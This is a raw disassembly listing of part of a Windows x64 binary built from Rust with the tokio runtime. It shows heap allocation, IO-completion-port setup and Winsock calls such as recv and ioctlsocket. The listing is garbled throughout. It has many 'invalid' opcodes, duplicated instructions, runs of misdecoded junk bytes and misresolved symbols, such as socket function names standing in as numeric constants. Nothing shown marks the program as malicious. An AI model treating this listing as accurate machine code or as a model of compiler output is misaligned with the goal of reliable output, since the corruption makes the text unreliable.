mov rcx, qword [rcx]
mov ecx, dword [rcx]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rcx]
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
or dword [rsi + 0xf], esp
pcmpeqd xmm1, xmm0
pcmpeqd xmm1, xmm0
pshufd xmm0, xmm1, 0xb1
pand xmm0, xmm1
pand mm0, mm1
movmskpd edx, xmm0
cmp edx, 3
invalid
add esi, dword [rbp + 0x14]
jne 0x14014c428
mov rdx, qword [rax + 0x10]
cmp rdx, qword [rcx + 0x10]
jne 0x14014c428
mov rax, qword [rax + 0x18]
cmp rax, qword [rcx + 0x18]
sbb byte [rax + 0x3b], cl
sbb byte [r15 + rbx*2 + 0x49], sil
je 0x14014c487
mov rax, qword [r14 + 0x30]
je 0x14014c487
mov rax, qword [r14 + 0x30]
xor byte [rdi], cl
invalid
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffffe
loope case.0x14005f6a2.3669
loope case.0x14005f6a2.3669
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x14014c430
test al, 2
jne 0x14014c517
mov rax, qword [r14 + 0x20]
mov rcx, qword [r14 + 0x28]
call qword [rax + 0x18]
and byte [rcx - 0x75], cl
sub dil, r15b
push rax
sbb byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x20], rax
mov dword [rsi + 0x20], eax
mov dword [rsi + 0x20], eax
mov qword [r14 + 0x28], rdx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 1
or ecx, 1
or ecx, 1
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x14014c470
test al, 2
jne 0x14014c51d
mov bl, 2
test bpl, bpl
je 0x14014c54c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14014c4e6
test eax, eax
jne 0x14014c54c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
invalid
inc esi
xchg al, ah
add byte [rax], al
add byte [rcx], al
invalid
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], r15b
jmp 0x14014c54c
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
call qword [rax + reloc.WS2_32.dll_recv]
mov bl, 2
jmp 0x14014c54c
lock or qword [r14 + 0x30], 1
add dword [rcx - 0x80], eax
jle 0x14014c559
cmp byte [r14 + 0x38], 0
mov byte [r14 + 0x38], 0
add byte [rcx - 0x3a], al
cmp byte [rax], r8b
je 0x14014c54a
mov rax, qword [rsi]
test rax, rax
je 0x14014c53f
lock dec qword [rax]
jne 0x14014c53f
mov rcx, qword [rsi]
call fcn.140004b00
mov qword [rsi], 0
xor ebx, ebx
jmp 0x14014c54c
mov bl, 1
mov eax, ebx
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
pop rdi
ret
lea rax, str.called_after_complete
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, [0x140204680]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_synconeshot.rs
lea edx, [0x1401e12f8]
lea edx, [0x1401e12f8]
lea rcx, [rsp + 0x28]
call fcn.140160e20
ud2
int3
test eax, eax
je 0x14014c678
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14014c5cd
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x14014c678
movzx ecx, word [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
test cx, cx
jne 0x14014c605
mov rdx, qword [rsi + 0x20]
nop
movdqa xmm0, xmmword [rdx]
pmovmskb ecx, xmm0
add rdi, 0xfffffffffffffe00
add rdx, 0x10
cmp ecx, 0xffff
je 0x14014c5e0
not ecx
mov qword [rsi + 0x20], rdx
mov dword [rsi + 0x20], edx
mov dword [rsi + 0x20], edx
mov qword [rsi + 0x18], rdi
lea edx, [rcx - 1]
and edx, ecx
mov word [rsi + 0x30], dx
dec rax
mov qword [rsi + 0x38], rax
cmp byte [rax - 0x7b], r9b
invalid
je 0x14014c678
pop rsi
cmp byte [rax - 0x7b], r9b
push qword [rsi + rbx*2 - 0xd]
pop rsi
tzcnt eax, ecx
tzcnt eax, ecx
shl rax, 5
sub rdi, rax
mov rcx, qword [rdi - 8]
clc
clc
call rbx
mov rax, qword [rdi - 0x18]
call 0x149140f23
je 0x14014c650
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x14014c5c0
jmp case.0x14005f6a2.3718
mov rcx, qword [rdi - 0x18]
call fcn.140005590
mov rax, qword [rdi - 0x10]
mov eax, dword [rdi - 0x10]
lock dec qword [rax]
jne 0x14014c5c0
add rdi, 0xfffffffffffffff0
mov rcx, rdi
call fcn.1400bc040
int 0xf9
idiv bh
jmp 0x14014c5c0
mov rax, qword [rsi + 8]
test rax, rax
invalid
je 0x14014c6ac
cmp qword [rsi + 0x10], 0
je 0x14014c6ac
mov r8, qword [rsi]
cmp rax, 0x11
jb 0x14014c695
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jl 0x14014c663
add dword [rax], eax
nop
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
add eax, 0x946de
mov edx, 0x28
call fcn.140160fb0
ud2
lea ecx, [rax + rax]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014c710
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je case.0x1400693d1.3522
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, setsockopt
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je case.0x1400693d1.3522
movups xmm0, xmmword [str.tokio_runtime_workerThe_Tokio_context_thread_local_variable_has_been_destroyed.]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x72656b72
mov qword [rsi], rax
add bh, al
adc byte [rdx + 0x6b], sil
jb 0x14014c77d
mov dword [rsi], eax
mov qword [rsi + 8], setsockopt
mov qword [rsi + 0x10], setsockopt
mov rax, rsi
add rsp, 0x20
pop rsi
ret
mov ecx, 1
mov edx, setsockopt
call fcn.14015d7f0
adc byte [rcx], al
add byte [rdi], cl
invalid
adc byte [rcx], al
add byte [rdi], cl
or ecx, esp
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
sub esp, 0xd8
mov r14, rdx
mov rsi, rcx
cmp byte [rdx + 8], 0
mov r13, qword [rdx]
je 0x14014c9fd
mov rcx, 0xffffffffffffffff
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test rax, rax
je 0x14014ca7b
mov rbx, rax
movzx eax, byte [0x1402153f8]
cmp cl, byte [rsp + rcx + 0xd8b4800]
wait
mov ecx, dword [rax + rax]
mov rcx, qword [0x140215360]
test rcx, rcx
jne case.0x1400693d1.3537
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
outsb dx, byte [rsi]
invalid
test rax, rax
je 0x14014ce47
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
mov eax, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014ce47
add byte [rax], al
mov rdi, rax
mov qword [rax], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0x10], ebx
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0x10], ebx
lock inc qword [rax]
lock inc qword [rax]
jle 0x14014ce21
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
test rcx, rcx
jne 0x14014c846
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
ror byte [rdi], 0x84
jmp 0x18814c842
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014ce25
mov rbx, rax
mov qword [rax], 1
mov dword [rax], 1
mov dword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
sbb byte [rax - 0x39], cl
and byte [rax], al
add byte [rax], al
add dh, al
sub byte [rax], al
sbb byte [rax - 0x39], cl
and byte [rax], al
add byte [rax], al
add dh, al
sub byte [rax], al
mov qword [rax + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x38], xmm0
movups xmmword [rax + 0x41], xmm0
mov qword [rax + 0x58], 8
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x69], xmm0
lock inc qword [rdi]
jle 0x14014ce21
lock inc qword [rbx]
add ecx, dword [rdi]
mov fs, word [rdi + 5]
add byte [rax], al
jle 0x14014ce21
test r13, r13
je 0x14014ca98
mov rax, r13
shr rax, 0x3a
jne 0x14014ce78
mov r12, r13
shl r12, 5
je 0x14014caaa
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014c909
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014ce58
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x14014ce58
cmp r13, 2
jb 0x14014caba
lea rdx, [r13 - 1]
lea r8, [r13 - 2]
mov eax, edx
and eax, 7
mov rcx, r15
cmp r8, 7
jb case.0x1400693d1.3570
and rdx, 0xfffffffffffffff8
xorps xmm0, xmm0
mov rcx, r15
nop word [rax + rax]
movups xmmword [rcx + 0xc], xmm0
movups xmmword [rcx], xmm0
adc dword [rcx], eax
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x2c], xmm0
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x4c], xmm0
movups xmmword [rcx + 0x60], xmm0
movups xmmword [rcx + 0x6c], xmm0
movups xmmword [rcx + 0x80], xmm0
add byte [rax], al
movups xmmword [rcx + 0x8c], xmm0
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xac], xmm0
add byte [rax], al
movups xmmword [rcx + 0xc0], xmm0
movups xmmword [rcx + 0xcc], xmm0
movups xmmword [rcx + 0xec], xmm0
movups xmmword [rcx + 0xe0], xmm0
add rcx, 0x100
add rdx, 0xfffffffffffffff8
jne 0x14014c950
test rax, rax
je 0x14014c9d0
xorps xmm0, xmm0
nop dword [rax]
movups xmmword [rcx + 0xc], xmm0
movups xmmword [rcx], xmm0
add rcx, 0x20
dec rax
jne 0x14014c9c0
xorps xmm0, xmm0
movups xmmword [rcx + 0xc], xmm0
movups xmmword [rcx], xmm0
mov r12, r13
shl r12, 4
movzx eax, byte [0x1402153f8]
adc byte [rdx - 0x74b7fff4], cl
or eax, 0xc8971
test rcx, rcx
jne 0x14014caf8
jmp 0x14014cadf
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014ca29
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014ce67
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014ce67
invalid
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
add byte [rax], al
add dh, al
sbb byte [rax], al
xorps xmm0, xmm0
movups xmmword [rax + 0x20], xmm0
lock inc qword [rax]
jle 0x14014ce21
add eax, dword [rax]
invalid
xor ebx, ebx
mov dl, 2
mov rdi, r15
jmp 0x14014cb70
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
add al, byte [rax]
add byte [rax], al
jmp 0x14014ce0d
mov r15d, 8
mov eax, 8
mov qword [rsp + 0x38], rax
jmp 0x14014cb11
mov r15d, 8
cmp r13, 2
add cl, byte [rdi]
xor dword [rax - 2], 0xffffffff
invalid
xorps xmm0, xmm0
movups xmmword [r15 + 0xc], xmm0
movups xmmword [r15], xmm0
mov r12d, reloc.WS2_32.dll_recv
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
test rcx, rcx
jne 0x14014caf8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014ce58
test byte [rdx + 3], ch
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x1b535
mov qword [rsp + 0x38], rax
test rax, rax
je 0x14014ce58
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014cb3d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014ce25
mov rcx, rax
mov qword [0x140215360], rax
or al, 0
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014ce25
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x69], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], 0
xor edx, edx
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0xa0], al
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rsp + 0x69]
movups xmmword [rsp + 0xb9], xmm0
cmp byte [r14 + 9], 0
je 0x14014ccfa
mov dword [rsp + 0x34], edx
mov qword [rsp + 0x88], rcx
call fcn.14013ac10
mov qword [rsp + 0x80], rax
mov ebp, edx
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014cbf5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014ce36
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x1860
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014ce36
mov r12, rax
xor r14d, r14d
mov r8d, 0x810
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x810], 1
lea rcx, [r12 + 0x818]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0xc20], 2
lea rcx, [r12 + 0xc28]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1030], 3
lea rcx, [r12 + 0x1038]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1440], 4
mov rcx, r12
add rcx, 0x1448
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1850], 5
mov qword [r12 + 0x1858], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movzx eax, word [rsp + 0x32]
mov word [rsp + 0x2c], ax
mov eax, dword [rsp + 0x2e]
mov dword [rsp + 0x28], eax
movaps xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], 0
mov rcx, qword [rsp + 0x88]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x80]
jmp 0x14014cd17
movzx eax, word [rsp + 0x32]
mov word [rsp + 0x2c], ax
mov eax, dword [rsp + 0x2e]
mov dword [rsp + 0x28], eax
mov r14d, 1
mov ebp, 0x3b9aca00
mov qword [rsi + 0x10], r13
mov rax, qword [rsp + 0x38]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r13
mov qword [rsi + 0x28], 0
movzx eax, word [rsp + 0x2c]
mov word [rsi + 0x3e], ax
mov eax, dword [rsp + 0x28]
mov dword [rsi + 0x3a], eax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rsi + 0xd0], xmm0
movzx eax, byte [rsp + 0x70]
mov byte [rsi + 0xf0], al
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rsi + 0xe0], xmm0
movzx eax, byte [rsp + 0xa0]
mov byte [rsi + 0x68], al
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsi + 0x58], xmm0
movups xmm0, xmmword [rsp + 0xb9]
movups xmmword [rsi + 0x89], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsi + 0x80], xmm0
mov qword [rsi], r14
mov qword [rsi + 8], r15
mov qword [rsi + 0x30], rbx
mov byte [rsi + 0x38], 0
mov byte [rsi + 0x39], dl
mov qword [rsi + 0x40], rbx
mov qword [rsi + 0x48], rdi
mov qword [rsi + 0x50], 0
mov qword [rsi + 0x70], rcx
mov qword [rsi + 0x78], reloc.WS2_32.dll_recv
mov qword [rsi + 0xa0], 0
mov byte [rsi + 0xa8], 0
mov qword [rsi + 0xb0], r12
mov qword [rsi + 0xb8], 6
mov qword [rsi + 0xc0], 6
mov qword [rsi + 0xc8], 0
mov qword [rsi + 0xf8], r8
mov dword [rsi + 0x100], ebp
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0x80
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x1860
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov ecx, 8
mov rdx, r12
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x30
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
cmp qword [rax + 0x70], 0
jne 0x14014cfa2
call fcn.140077390
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0x78]
inc qword [rax + 0x78]
mov rsi, qword [rbx + 0x38]
mov r13, qword [rbx + 0x40]
lock inc qword [rsi]
jle 0x14014d174
movups xmm7, xmmword [rbx + 0x10]
mov r12, qword [rbx + 0x58]
test r12, r12
mov qword [rsp + 0x38], rbp
je 0x14014d028
mov rax, qword [rbx + 0x60]
mov qword [rsp + 0x30], rax
lock inc qword [r12]
jle 0x14014d174
mov rbp, qword [rbx + 0x68]
test rbp, rbp
je 0x14014d031
mov rbx, qword [rbx + 0x70]
lock inc qword [rbp]
jle 0x14014d174
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014d05d
jmp 0x14014d044
mov rbp, qword [rbx + 0x68]
test rbp, rbp
jne 0x14014d004
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14014d05d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14014d19a
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x118
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14014d19a
add dword es:[rax], eax
invalid
add dword es:[rax], eax
add byte [rax - 0x39], cl
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0x10], edi
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], r15
mov ecx, dword [rsp + 0x2c]
mov dword [rax + 0x28], ecx
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], r13
mov qword [rax + 0x40], 0
mov byte [rax + 0x48], 0
mov qword [rax + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x58], xmm0
mov qword [rax + 0x68], 0
lea rcx, [0x1401dea30]
mov qword [rax + 0x70], rcx
movups xmmword [rax + 0x78], xmm0
mov qword [rax + 0x88], 0
movups xmmword [rax + 0x90], xmm6
mov qword [rax + 0xa0], r14
mov qword [rax + 0xa8], 0
mov qword [rax + 0xc0], 0
mov dword [rax + 0xc8], 0
mov byte [rax + 0xcc], 0
mov qword [rax + 0xd0], 0
mov qword [rax + 0xd8], r12
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0xe0], rcx
mov qword [rax + 0xe8], rbp
mov qword [rax + 0xf0], rbx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0xf8], rcx
movups xmmword [rax + 0x100], xmm0
mov qword [rax + 0x110], 0
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0x118
call fcn.14015d7f0
ud2
xor r14d, r14d
lea rcx, [rsp + 0x20]
xorps xmm0, xmm0
jmp 0x14014d728
mov qword [rdx + 0x20], 2
cmp r14, 0x20
jae 0x14014d7a0
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x14014dca6
cmp rdx, rcx
je 0x14014dbd2
mov r8, qword [rdx]
test r8, r8
je 0x14014dcc0
mov qword [rsp + 0x20], r8
mov qword [r8 + 8], rcx
movups xmmword [rdx], xmm0
mov r8, qword [rdx + 0x10]
mov r9, qword [rdx + 0x18]
mov qword [rdx + 0x10], 0
test r8, r8
je 0x14014d720
shl r14, 4
mov qword [rsp + r14 + 0x50], r8
mov qword [rsp + r14 + 0x58], r9
mov r14, qword [rsp + 0x250]
inc r14
mov qword [rsp + 0x250], r14
jmp 0x14014d720
test al, al
jne 0x14014d7b4
mov rax, qword [0x1402153f0]
test rax, rbx
jne 0x14014dbbd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp r14, 0x21
jae 0x14014dcda
mov qword [rsp + 0x250], 0x1f
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x248]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x1e
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x238]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x1d
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x228]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x1c
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x218]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x1b
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x208]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x1a
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x19
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1e8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x18
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0x17
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], reloc.WS2_32.dll_shutdown
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], reloc.WS2_32.dll_setsockopt
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], setsockopt
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x198]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], reloc.WS2_32.dll_send
mov rax, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x188]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], setsockopt
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], setsockopt
mov rax, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x168]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], reloc.WS2_32.dll_recv
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], recv
mov rax, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x148]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], recv
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], recv
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x128]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], recv
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x118]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], recv
mov rax, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x108]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0xa
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 9
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 8
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 7
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 6
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 5
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 4
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 3
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 2
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 1
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call qword [rax + ioctlsocket]
mov qword [rsp + 0x250], 0
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [rax + ioctlsocket]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
test rax, rbx
jne 0x14014dbb4
xor eax, eax
movzx ecx, byte [rdi]
jmp 0x14014d710
call fcn.1401666c0
xor al, 1
jmp 0x14014dbac
call fcn.1401666c0
test al, al
jne 0x14014d7b4
mov byte [rdi], 1
jmp 0x14014d7b4
test al, al
jne 0x14014dbe6
mov rax, qword [0x1402153f0]
test rax, rbx
jne 0x14014dc91
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test r14, r14
je 0x14014dc2c
lea rsi, [r14 - 1]
shl r14, 4
lea rdi, [rsp + r14]
cmp al, 0x34
cmp al, 0x34
add rdi, 0x48
nop word cs:[rax + rax]
mov qword [rsp + 0x250], rsi
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + ioctlsocket]
add rdi, 0xfffffffffffffff0
add rsi, 0xffffffffffffffff
jb 0x14014dc10
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14014dc3e
mov rcx, qword [rsp + 0x38]
call qword [rax + 0x18]
nop
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.1401666c0
test al, al
jne 0x14014dbe6
mov byte [rdi], 1
jmp 0x14014dbe6
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutillinked_list.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
ja 0x14014dcb7
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutillinked_list.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.curr___NUM_WAKERS
lea r8, [0x1401dec70]
lea eax, [0x1401dec70]
lea eax, [0x1401dec70]
mov edx, 0x29
call fcn.140160fb0
add byte [rdi], cl
invalid
